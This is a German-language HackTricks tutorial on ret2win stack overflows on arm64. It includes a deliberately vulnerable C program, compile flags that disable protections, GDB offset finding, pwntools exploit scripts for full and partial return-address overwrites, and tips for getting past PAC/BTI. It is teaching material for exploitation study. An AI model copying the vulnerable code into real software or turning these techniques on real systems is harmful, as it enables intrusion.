Ret2win - arm64
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Eine Einführung in arm64 findest du in:
Code
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Kompilieren ohne pie und canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Das zusätzliche Flag
-mbranch-protection=none
deaktiviert AArch64 Branch Protection (PAC/BTI). Wenn deine Toolchain standardmäßig PAC oder BTI aktiviert, sorgt das für reproduzierbare Labs. Um zu prüfen, ob ein kompiliertes Binary PAC/BTI verwendet, kannst du: - Nach AArch64 GNU properties suchen:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
- Prologues/Epilogues auf
paciasp
/autiasp
(PAC) oder aufbti c
Landing-Pads (BTI) untersuchen: objdump -d ret2win | head -n 40
AArch64 calling convention quick facts
- The link register is
x30
(a.k.a.lr
), and functions typically savex29
/x30
withstp x29, x30, [sp, #-16]!
and restore them withldp x29, x30, [sp], #16; ret
. - Das bedeutet, die gespeicherte Rücksprungadresse liegt bei
sp+8
relativ zur Frame-Basis. Mit einem darunter platziertenchar buffer[64]
ist der übliche Overwrite-Abstand zur gespeichertenx30
64 (Buffer) + 8 (gespeichertes x29) = 72 Bytes — genau das, was wir unten finden werden. - The stack pointer must remain 16‑byte aligned at function boundaries. If you build ROP chains later for more complex scenarios, keep the SP alignment or you may crash on function epilogues.
Finding the offset
Pattern option
This example was created using GEF:
Starte gdb mit gef, erstelle ein Pattern und verwende es:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 wird versuchen, zur Adresse im Register x30 zurückzukehren (die kompromittiert wurde). Wir können das verwenden, um den Offset des Musters zu finden:
pattern search $x30
.png)
Der Offset ist 72 (9x48).
Stack-Offset-Option
Beginne damit, die Stack-Adresse zu ermitteln, an der das pc-Register gespeichert ist:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Setze jetzt einen breakpoint nach dem read()
und fahre mit continue fort, bis read()
ausgeführt wird, und setze ein pattern wie 13371337:
b *vulnerable_function+28
c
.png)
Finde, wo dieses Muster im Speicher abgelegt ist:
.png)
Dann: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Regulär
Ermittle die Adresse der win
-Funktion:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
Eigentlich handelt es sich eher um ein off-by-2 im Stack, bei dem der PC gespeichert ist. Anstatt die gesamte return address zu überschreiben, werden wir nur die letzten 2 bytes mit 0x06c4
überschreiben.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Ein weiteres off-by-one-Beispiel in ARM64 findest du unter https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, das ein echtes off-by-one in einer fiktiven Schwachstelle ist.
Mit PIE
tip
Kompiliere das Binary ohne das -no-pie
Argument
Off-by-2
Ohne leak kennen wir nicht die exakte Adresse der win function, aber wir können den Offset der Funktion im Binary ermitteln. Wenn die return address, die wir überschreiben, bereits auf eine nahe Adresse zeigt, ist es möglich, in diesem Fall den Offset zur win function (0x7d4) zu leak und diesen Offset einfach zu verwenden:
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Anmerkungen zur modernen AArch64‑Härtung (PAC/BTI) und ret2win
- Wenn das Binary mit AArch64 Branch Protection kompiliert ist, siehst du möglicherweise
paciasp
/autiasp
oderbti c
in Funktionsprolog/-epilog. In diesem Fall: - Zurückkehren zu einer Adresse, die kein gültiges BTI‑Landing‑Pad ist, kann ein
SIGILL
auslösen. Zielt stattdessen auf den genauen Funktionsbeginn, derbti c
enthält. - Wenn PAC für Returns aktiviert ist, können naive Überschreibungen der Rücksprungadresse fehlschlagen, weil der Epilog
x30
authentifiziert. Für Lernzwecke neu mit-mbranch-protection=none
bauen (s. oben). Bei echten Zielen bevorzugt non‑return hijacks (z. B. function pointer overwrites) oder baut ROP, das niemals einautiasp
/ret
‑Paar ausführt, das euren gefälschten LR authentifiziert. - Um die Features schnell zu prüfen:
readelf --notes -W ./ret2win
und suche nachAARCH64_FEATURE_1_BTI
/AARCH64_FEATURE_1_PAC
Notizen.objdump -d ./ret2win | head -n 40
und suche nachbti c
,paciasp
,autiasp
.
Ausführen auf Nicht‑ARM64‑Hosts (qemu‑user Quick‑Tipp)
Wenn du auf x86_64 bist, aber AArch64 üben möchtest:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Verwandte HackTricks-Seiten
Ret2syscall - ARM64
Referenzen
- Aktivierung von PAC und BTI auf AArch64 für Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Prozeduraufrufstandard für die Arm 64-Bit-Architektur (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.